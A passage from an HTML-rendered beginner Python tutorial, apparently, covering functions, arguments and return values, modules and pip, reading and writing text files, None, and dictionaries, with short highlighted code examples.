style="color:#d3869b;">12</span><span style="color:#fdf4c1;">) +</span><span style="color:#fabd2f;">range</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">10</span><span style="color:#fdf4c1;">,</span><span style="color:#d3869b;">20</span><span style="color:#fdf4c1;">,</span><span style="color:#d3869b;">3</span><span style="color:#fdf4c1;">) +</span></code></pre> +<blockquote> +<p>The words in front of the parentheses are function names, and the comma-separated values inside the parentheses are function arguments.</p> +</blockquote> +<p>In addition to using pre-defined functions, you can create your own functions by using the def statement. Here is an example of a function named my_func. It takes no arguments, and prints “spam” three times. It is defined, and then called. The statements in the function are executed only when the function is called.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fa5c4b;">def </span><span style="color:#8ec07c;">my_func</span><span>(): +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;spam&quot;</span><span style="color:#fdf4c1;">) +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;spam&quot;</span><span style="color:#fdf4c1;">) +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;spam&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fdf4c1;">my_func() +</span></code></pre> +<blockquote> +<p>The code block within every function starts with a colon (:) and is indented.</p> +</blockquote> +<p>You must define functions before they are called, in the same way that you must assign variables before using them.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fdf4c1;">hello() +</span><span> +</span><span style="color:#fa5c4b;">def </span><span style="color:#8ec07c;">hello</span><span>(): +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&#39;Hello world&#39;</span><span style="color:#fdf4c1;">) +</span></code></pre> +<h3 id="arguments">Arguments</h3> +<p>All the function definitions we’ve looked at so far have been functions of zero arguments, which are called with empty parentheses. However, most functions take arguments. The example below defines a function that takes one argument:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fa5c4b;">def </span><span style="color:#8ec07c;">print_with_exclamation</span><span>(</span><span style="color:#fdf4c1;">word</span><span>): +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(word </span><span style="color:#fe8019;">+ </span><span style="color:#b8bb26;">&quot;!&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fdf4c1;">print_with_exclamation(</span><span style="color:#b8bb26;">&quot;spam&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fdf4c1;">print_with_exclamation(</span><span style="color:#b8bb26;">&quot;eggs&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fdf4c1;">print_with_exclamation(</span><span style="color:#b8bb26;">&quot;python&quot;</span><span style="color:#fdf4c1;">) +</span></code></pre> +<blockquote> +<p>As you can see, the argument is defined inside the parentheses.</p> +</blockquote> +<p>You can also define functions with more than one argument; separate them with commas.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fa5c4b;">def </span><span style="color:#8ec07c;">print_sum_twice</span><span>(</span><span style="color:#fdf4c1;">x</span><span>, </span><span style="color:#fdf4c1;">y</span><span>): +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(x</span><span style="color:#fe8019;">+</span><span style="color:#fdf4c1;">y) +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(x</span><span style="color:#fe8019;">+</span><span style="color:#fdf4c1;">y) +</span><span> +</span><span style="color:#fdf4c1;">print_sum_twice(</span><span style="color:#d3869b;">5</span><span style="color:#fdf4c1;">, </span><span style="color:#d3869b;">20</span><span style="color:#fdf4c1;">) +</span></code></pre> +<p>Function arguments can be used as variables inside the function definition. However, they cannot be referenced outside of the function’s definition. This also applies to other variables created inside a function.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fa5c4b;">def </span><span style="color:#8ec07c;">function</span><span>(</span><span style="color:#fdf4c1;">variable</span><span>): +</span><span> variable </span><span style="color:#fe8019;">+= </span><span style="color:#d3869b;">1 +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(variable) +</span><span style="color:#fdf4c1;">function(</span><span style="color:#d3869b;">7</span><span style="color:#fdf4c1;">) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(variable) +</span></code></pre> +<p>This code will throw an error because the variable is defined inside the function and can be referenced only there. &gt;Technically, parameters are the variables in a function definition, and arguments are the values put into parameters when functions are called. +Returning from Functions</p> +<p>Certain functions, such as int or str, return a value that can be used later. To do this for your defined functions, you can use the return statement.</p> +<p>For example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fa5c4b;">def </span><span style="color:#8ec07c;">max</span><span>(</span><span style="color:#fdf4c1;">x</span><span>, </span><span style="color:#fdf4c1;">y</span><span>): +</span><span> </span><span style="color:#fa5c4b;">if </span><span>x </span><span style="color:#fe8019;">&gt;=</span><span>y: +</span><span> </span><span style="color:#fa5c4b;">return </span><span>x +</span><span> </span><span style="color:#fa5c4b;">else</span><span>: +</span><span> </span><span style="color:#fa5c4b;">return </span><span>y +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#fabd2f;">max</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">4</span><span style="color:#fdf4c1;">, </span><span style="color:#d3869b;">7</span><span style="color:#fdf4c1;">)) +</span><span>z </span><span style="color:#fe8019;">= </span><span style="color:#fabd2f;">max</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">8</span><span style="color:#fdf4c1;">, </span><span style="color:#d3869b;">5</span><span style="color:#fdf4c1;">) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(z) +</span></code></pre> +<blockquote> +<p>The return statement cannot be used outside of a function definition.</p> +</blockquote> +<p>Once you return a value from a function, it immediately stops being executed. Any code after the return statement will never happen. For example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fa5c4b;">def </span><span style="color:#8ec07c;">add_numbers</span><span>(</span><span style="color:#fdf4c1;">x</span><span>, </span><span style="color:#fdf4c1;">y</span><span>): +</span><span> total </span><span style="color:#fe8019;">= </span><span>x </span><span style="color:#fe8019;">+ </span><span>y +</span><span> </span><span style="color:#fa5c4b;">return </span><span>total +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;This won&#39;t be printed&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(add_numbers(</span><span style="color:#d3869b;">4</span><span style="color:#fdf4c1;">, </span><span style="color:#d3869b;">5</span><span style="color:#fdf4c1;">)) +</span></code></pre> +<p>Although they are created differently from normal variables, functions are just like any other kind of value. They can be assigned and reassigned to variables, and later referenced by those names.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fa5c4b;">def </span><span style="color:#8ec07c;">multiply</span><span>(</span><span style="color:#fdf4c1;">x</span><span>, </span><span style="color:#fdf4c1;">y</span><span>): +</span><span> </span><span style="color:#fa5c4b;">return </span><span>x </span><span style="color:#fe8019;">* </span><span>y +</span><span>a </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">4 +</span><span>b </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">7 +</span><span>operation </span><span style="color:#fe8019;">= </span><span>multiply +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(operation(a, b)) +</span></code></pre> +<blockquote> +<p>The example above assigned the function multiply to a variable operation. Now, the name operation can also be used to call the function.</p> +</blockquote> +<p>Functions can also be used as arguments of other functions.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fa5c4b;">def </span><span style="color:#8ec07c;">add</span><span>(</span><span style="color:#fdf4c1;">x</span><span>, </span><span style="color:#fdf4c1;">y</span><span>): +</span><span> </span><span style="color:#fa5c4b;">return </span><span>x </span><span style="color:#fe8019;">+ </span><span>y +</span><span style="color:#fa5c4b;">def </span><span style="color:#8ec07c;">do_twice</span><span>(</span><span style="color:#fdf4c1;">func</span><span>, </span><span style="color:#fdf4c1;">x</span><span>, </span><span style="color:#fdf4c1;">y</span><span>): +</span><span style="color:#fa5c4b;">return </span><span style="color:#fdf4c1;">func(func(x, y), func(x, y)) +</span><span>a </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">5 +</span><span>b </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">10 +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(do_twice(add, a, b)) +</span></code></pre> +<h2 id="modules">Modules</h2> +<p>Modules are pieces of code that other people have written to fulfill common tasks, such as generating random numbers, performing mathematical operations, etc.</p> +<p>The basic way to use a module is to add import module_name at the top of your code, and then using module_name.var to access functions and values with the name var in the module. For example, the following example uses the random module to generate random numbers:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fa5c4b;">import </span><span>random +</span><span style="color:#fa5c4b;">for </span><span>i </span><span style="color:#fa5c4b;">in </span><span style="color:#fabd2f;">range</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">5</span><span style="color:#fdf4c1;">)</span><span>: +</span><span> value </span><span style="color:#fe8019;">= </span><span style="color:#fdf4c1;">random.randint(</span><span style="color:#d3869b;">1</span><span style="color:#fdf4c1;">, </span><span style="color:#d3869b;">6</span><span style="color:#fdf4c1;">) +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(value) +</span></code></pre> +<blockquote> +<p>The code uses the randint function defined in the random module to print 5 random numbers in the range 1 to 6.</p> +</blockquote> +<p>There is another kind of import that can be used if you only need certain functions from a module. These take the form from module_name import var, and then var can be used as if it were defined normally in your code. For example, to import only the pi constant from the math module:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fa5c4b;">from </span><span>math </span><span style="color:#fa5c4b;">import </span><span>pi +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(pi) +</span></code></pre> +<p>Use a comma separated list to import multiple objects. For example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fa5c4b;">from </span><span>math </span><span style="color:#fa5c4b;">import </span><span>pi, sqrt +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(sqrt(pi)) +</span></code></pre> +<blockquote> +<p><code>*</code> imports all objects from a module. For example: from math import *. This is generally discouraged, as it confuses variables in your code with variables in the external module.</p> +</blockquote> +<h2 id="the-standard-library">The standard library</h2> +<p>There are three main types of modules in Python, those you write yourself, those you install from external sources, and those that are preinstalled with Python. The last type is called the standard library, and contains many useful modules. Some of the standard library’s useful modules include string, re, datetime, math, random, os, multiprocessing, subprocess, socket, email, json, doctest, unittest, pdb, argparse and sys.</p> +<p>Tasks that can be done by the standard library include string parsing, data serialization, testing, debugging and manipulating dates, emails, command line arguments, and much more!</p> +<p>Some of the modules in the standard library are written in Python, and some are written in C. Most are available on all platforms, but some are Windows or Unix specific.</p> +<p>Many third-party Python modules are stored on the Python Package Index (PyPI). The best way to install these is using a program called pip. This comes installed by default with modern distributions of Python. If you don’t have it, it is easy to install online. Once you have it, installing libraries from PyPI is easy. Look up the name of the library you want to install, go to the command line (for Windows it will be the Command Prompt), and enter pip install library_name. Once you’ve done this, import the library and use it in your code.</p> +<p>Using pip is the standard way of installing libraries on most operating systems, but some libraries have prebuilt binaries for Windows. These are normal executable files that let you install libraries with a GUI the same way you would install other programs.</p> +<h2 id="files">Files</h2> +<p>You can use Python to read and write the contents of files. Text files are the easiest to manipulate. Before a file can be edited, it must be opened, using the open function.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>myfile </span><span style="color:#fe8019;">= </span><span style="color:#fabd2f;">open</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;filename.txt&quot;</span><span style="color:#fdf4c1;">) +</span><span> +</span></code></pre> +<blockquote> +<p>The argument of the open function is the path to the file. If the file is in the current working directory of the program, you can specify only its name.</p> +</blockquote> +<p>You can specify the mode used to open a file by applying a second argument to the open function. Sending “r” means open in read mode, which is the default. Sending “w” means write mode, for rewriting the contents of a file. Sending “a” means append mode, for adding new content to the end of the file.</p> +<p>Adding “b” to a mode opens it in binary mode, which is used for non-text files (such as image and sound files). For example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="font-style:italic;color:#928374;"># write mode +</span><span style="color:#fabd2f;">open</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;filename.txt&quot;</span><span style="color:#fdf4c1;">, </span><span style="color:#b8bb26;">&quot;w&quot;</span><span style="color:#fdf4c1;">) +</span><span> +</span><span style="font-style:italic;color:#928374;"># read mode +</span><span style="color:#fabd2f;">open</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;filename.txt&quot;</span><span style="color:#fdf4c1;">, </span><span style="color:#b8bb26;">&quot;r&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fabd2f;">open</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;filename.txt&quot;</span><span style="color:#fdf4c1;">) +</span><span> +</span><span style="font-style:italic;color:#928374;"># binary write mode +</span><span style="color:#fabd2f;">open</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;filename.txt&quot;</span><span style="color:#fdf4c1;">, </span><span style="color:#b8bb26;">&quot;wb&quot;</span><span style="color:#fdf4c1;">) +</span></code></pre> +<blockquote> +<p>You can use the + sign with each of the modes above to give them extra access to files. For example, r+ opens the file for both reading and writing.</p> +</blockquote> +<p>Once a file has been opened and used, you should close it. This is done with the close method of the file object.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>file </span><span style="color:#fe8019;">= </span><span style="color:#fabd2f;">open</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;filename.txt&quot;</span><span style="color:#fdf4c1;">, </span><span style="color:#b8bb26;">&quot;w&quot;</span><span style="color:#fdf4c1;">) +</span><span style="font-style:italic;color:#928374;"># do stuff to the file +</span><span style="color:#fdf4c1;">file.close() +</span></code></pre> +<p>The contents of a file that has been opened in text mode can be read using the read method.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>file </span><span style="color:#fe8019;">= </span><span style="color:#fabd2f;">open</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;filename.txt&quot;</span><span style="color:#fdf4c1;">, </span><span style="color:#b8bb26;">&quot;r&quot;</span><span style="color:#fdf4c1;">) +</span><span>cont </span><span style="color:#fe8019;">= </span><span style="color:#fdf4c1;">file.read() +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(cont) +</span><span style="color:#fdf4c1;">file.close() +</span></code></pre> +<p>This will print all of the contents of the file “filename.txt”.</p> +<p>To read only a certain amount of a file, you can provide a number as an argument to the read function. This determines the number of bytes that should be read. You can make more calls to read on the same file object to read more of the file byte by byte. With no argument, read returns the rest of the file.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>file </span><span style="color:#fe8019;">= </span><span style="color:#fabd2f;">open</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;filename.txt&quot;</span><span style="color:#fdf4c1;">, </span><span style="color:#b8bb26;">&quot;r&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(file.read(</span><span style="color:#d3869b;">16</span><span style="color:#fdf4c1;">)) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(file.read(</span><span style="color:#d3869b;">4</span><span style="color:#fdf4c1;">)) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(file.read(</span><span style="color:#d3869b;">4</span><span style="color:#fdf4c1;">)) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(file.read()) +</span><span style="color:#fdf4c1;">file.close() +</span></code></pre> +<blockquote> +<p>Just like passing no arguments, negative values will return the entire contents.</p> +</blockquote> +<p>After all contents in a file have been read, any attempts to read further from that file will return an empty string, because you are trying to read from the end of the file.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>file </span><span style="color:#fe8019;">= </span><span style="color:#fabd2f;">open</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;filename.txt&quot;</span><span style="color:#fdf4c1;">, </span><span style="color:#b8bb26;">&quot;r&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fdf4c1;">file.read() +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;Re-reading&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(file.read()) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;Finished&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fdf4c1;">file.close() +</span></code></pre> +<p>Result:</p> +<pre style="background-color:#282828;color:#fdf4c1aa;"><code><span>&gt;&gt;&gt; +</span><span>Re-reading +</span><span> +</span><span>Finished +</span><span>&gt;&gt;&gt; +</span></code></pre> +<p>To retrieve each line in a file, you can use the readlines method to return a list in which each element is a line in the file. For example:</p> +<p>file = open(“filename.txt”, “r”) print(file.readlines()) file.close()</p> +<p>Result:</p> +<pre style="background-color:#282828;color:#fdf4c1aa;"><code><span>&gt;&gt;&gt; +</span><span>[&#39;Line 1 text \n&#39;, &#39;Line 2 text \n&#39;, &#39;Line 3 text&#39;] +</span><span>&gt;&gt;&gt; +</span></code></pre> +<p>You can also use a for loop to iterate through the lines in the file:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>file </span><span style="color:#fe8019;">= </span><span style="color:#fabd2f;">open</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;filename.txt&quot;</span><span style="color:#fdf4c1;">, </span><span style="color:#b8bb26;">&quot;r&quot;</span><span style="color:#fdf4c1;">) +</span><span> +</span><span style="color:#fa5c4b;">for </span><span>line </span><span style="color:#fa5c4b;">in </span><span>file: +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(line) +</span><span> +</span><span style="color:#fdf4c1;">file.close() +</span></code></pre> +<p>Result:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fe8019;">&gt;&gt;&gt; +</span><span>Line </span><span style="color:#d3869b;">1 </span><span>text +</span><span> +</span><span>Line </span><span style="color:#d3869b;">2 </span><span>text +</span><span> +</span><span>Line </span><span style="color:#d3869b;">3 </span><span>text +</span><span style="color:#fe8019;">&gt;&gt;&gt; +</span></code></pre> +<p>In the output, the lines are separated by blank lines, as the print function automatically adds a new line at the end of its output.</p> +<p>To write to files you use the write method, which writes a string to the file. For example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>file </span><span style="color:#fe8019;">= </span><span style="color:#fabd2f;">open</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;newfile.txt&quot;</span><span style="color:#fdf4c1;">, </span><span style="color:#b8bb26;">&quot;w&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fdf4c1;">file.write(</span><span style="color:#b8bb26;">&quot;This has been written to a file&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fdf4c1;">file.close() +</span><span>file </span><span style="color:#fe8019;">= </span><span style="color:#fabd2f;">open</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;newfile.txt&quot;</span><span style="color:#fdf4c1;">, </span><span style="color:#b8bb26;">&quot;r&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(file.read()) +</span><span style="color:#fdf4c1;">file.close() +</span></code></pre> +<blockquote> +<p>The “w” mode will create a file, if it does not already exist.</p> +</blockquote> +<p>When a file is opened in write mode, the file’s existing content is deleted.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>file </span><span style="color:#fe8019;">= </span><span style="color:#fabd2f;">open</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;newfile.txt&quot;</span><span style="color:#fdf4c1;">, </span><span style="color:#b8bb26;">&quot;w&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fdf4c1;">file.write(</span><span style="color:#b8bb26;">&quot;Some new text&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fdf4c1;">file.close() +</span><span>file </span><span style="color:#fe8019;">= </span><span style="color:#fabd2f;">open</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;newfile.txt&quot;</span><span style="color:#fdf4c1;">, </span><span style="color:#b8bb26;">&quot;r&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;Reading new contents&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(file.read()) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;Finished&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fdf4c1;">file.close() +</span></code></pre> +<blockquote> +<p>As you can see, the content of the file has been overwritten.</p> +</blockquote> +<p>The write method returns the number of bytes written to a file, if successful.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>msg </span><span style="color:#fe8019;">= </span><span style="color:#b8bb26;">&quot;Hello world!&quot; +</span><span>file </span><span style="color:#fe8019;">= </span><span style="color:#fabd2f;">open</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;newfile.txt&quot;</span><span style="color:#fdf4c1;">, </span><span style="color:#b8bb26;">&quot;w&quot;</span><span style="color:#fdf4c1;">) +</span><span>amount_written </span><span style="color:#fe8019;">= </span><span style="color:#fdf4c1;">file.write(msg) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(amount_written) +</span><span style="color:#fdf4c1;">file.close() +</span></code></pre> +<p>To write something other than a string, it needs to be converted to a string first.</p> +<p>It is good practice to avoid wasting resources by making sure that files are always closed after they have been used.</p> +<p>A way of doing this is using with statements. This creates a temporary variable (often called f), which is only accessible in the indented block of the with statement.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fa5c4b;">with </span><span style="color:#fabd2f;">open</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;filename.txt&quot;</span><span style="color:#fdf4c1;">) </span><span style="color:#fa5c4b;">as </span><span>f: +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(f.read()) +</span></code></pre> +<blockquote> +<p>The file is automatically closed at the end of the with statement, even if exceptions occur within it.</p> +</blockquote> +<h2 id="none">None</h2> +<p>The <strong>None</strong> object is used to represent the absence of a value. It is similar to null in other programming languages. Like other “empty” values, such as 0, [] and the empty string, it is False when converted to a Boolean variable. When entered at the Python console, it is displayed as the empty string.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">None</span><span style="color:#fdf4c1;">) +</span></code></pre> +<blockquote> +<p>Run the code and see how it works!</p> +</blockquote> +<p>The None object is returned by any function that doesn’t explicitly return anything else.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fa5c4b;">def </span><span style="color:#8ec07c;">some_func</span><span>(): +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;Hi!&quot;</span><span style="color:#fdf4c1;">) +</span><span>var </span><span style="color:#fe8019;">= </span><span style="color:#fdf4c1;">some_func() +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(var) +</span></code></pre> +<h2 id="dictionaries">Dictionaries</h2> +<p>Dictionaries are data structures used to map arbitrary keys to values. Lists can be thought of as dictionaries with integer keys within a certain range. Dictionaries can be indexed in the same way as lists, using square brackets containing keys. Example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>ages </span><span style="color:#fe8019;">= </span><span>{</span><span style="color:#b8bb26;">&quot;Dave&quot;</span><span>: </span><span style="color:#d3869b;">24</span><span>, </span><span style="color:#b8bb26;">&quot;Mary&quot;</span><span>: </span><span style="color:#d3869b;">42</span><span>, </span><span style="color:#b8bb26;">&quot;John&quot;</span><span>: </span><span style="color:#d3869b;">58</span><span>} +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(ages[</span><span style="color:#b8bb26;">&quot;Dave&quot;</span><span style="color:#fdf4c1;">]) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(ages[</span><span style="color:#b8bb26;">&quot;Mary&quot;</span><span style="color:#fdf4c1;">]) +</span></code></pre> +<blockquote> +<p>Each element in a dictionary is represented by a key:value pair.</p> +</blockquote> +<p>Trying to index a key that isn’t part of the dictionary returns a KeyError. Example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>primary </span><span style="color:#fe8019;">= </span><span>{ +</span><span style="color:#b8bb26;">&quot;red&quot;</span><span>: [</span><span style="color:#d3869b;">255</span><span>, </span><span style="color:#d3869b;">0</span><span>, </span><span style="color:#d3869b;">0</span><span>], +</span><span style="color:#b8bb26;">&quot;green&quot;</span><span>: [</span><span style="color:#d3869b;">0</span><span>, </span><span style="color:#d3869b;">255</span><span>, </span><span style="color:#d3869b;">0</span><span>], +</span><span style="color:#b8bb26;">&quot;blue&quot;</span><span>: [</span><span style="color:#d3869b;">0</span><span>, </span><span style="color:#d3869b;">0</span><span>, </span><span style="color:#d3869b;">255</span><span>], +</span><span>} +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(primary[</span><span style="color:#b8bb26;">&quot;red&quot;</span><span style="color:#fdf4c1;">]) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(primary[</span><span style="color:#b8bb26;">&quot;yellow&quot;</span><span style="color:#fdf4c1;">]) +</span></code></pre> +<p>As you can see, a dictionary can store any types of data as values. &gt;An empty dictionary is defined as {}.</p> +<p>Only immutable objects can be used as keys to dictionaries. Immutable objects are those that can’t be changed. So far, the only mutable objects you’ve come across are lists and dictionaries. Trying to use a mutable object as a dictionary key causes a TypeError.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>bad_dict </span><span style="color:#fe8019;">= </span><span>{ +</span><span> +</span><span>[</span><span style="color:#d3869b;">1</span><span>, </span><span style="color:#d3869b;">2</span><span>, </span><span style="color:#d3869b;">3</span><span>]: </span><span style="color:#b8bb26;">&quot;one two three&quot;</span><span>, +</span><span> +</span><span>} +</span></code></pre> +<blockquote> +<p>Run the code and see how it works!</p> +</blockquote> +<p>Just like lists, dictionary keys can be assigned to different values. However, unlike lists, a new dictionary key can also be assigned a value, not just ones that already exist.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>squares </span><span style="color:#fe8019;">= </span><span>{</span><span style="color:#d3869b;">1</span><span>: </span><span style="color:#d3869b;">1</span><span>, </span><span style="color:#d3869b;">2</span><span>: </span><span style="color:#d3869b;">4</span><span>, </span><span style="color:#d3869b;">3</span><span>: </span><span style="color:#b8bb26;">&quot;error&quot;</span><span>, </span><span style="color:#d3869b;">4</span><span>: </span><span style="color:#d3869b;">16</span><span>,} +</span><span>squares[</span><span style="color:#d3869b;">8</span><span>] </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">64 +</span><span>squares[</span><span style="color:#d3869b;">3</span><span>] </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">9 +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(squares) +</span></code></pre> +<p>To determine whether a key is in a dictionary, you can use in and not in, just as you can for a list. Example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>nums </span><span style="color:#fe8019;">= </span><span>{ +</span><span style="color:#d3869b;">1</span><span>: </span><span 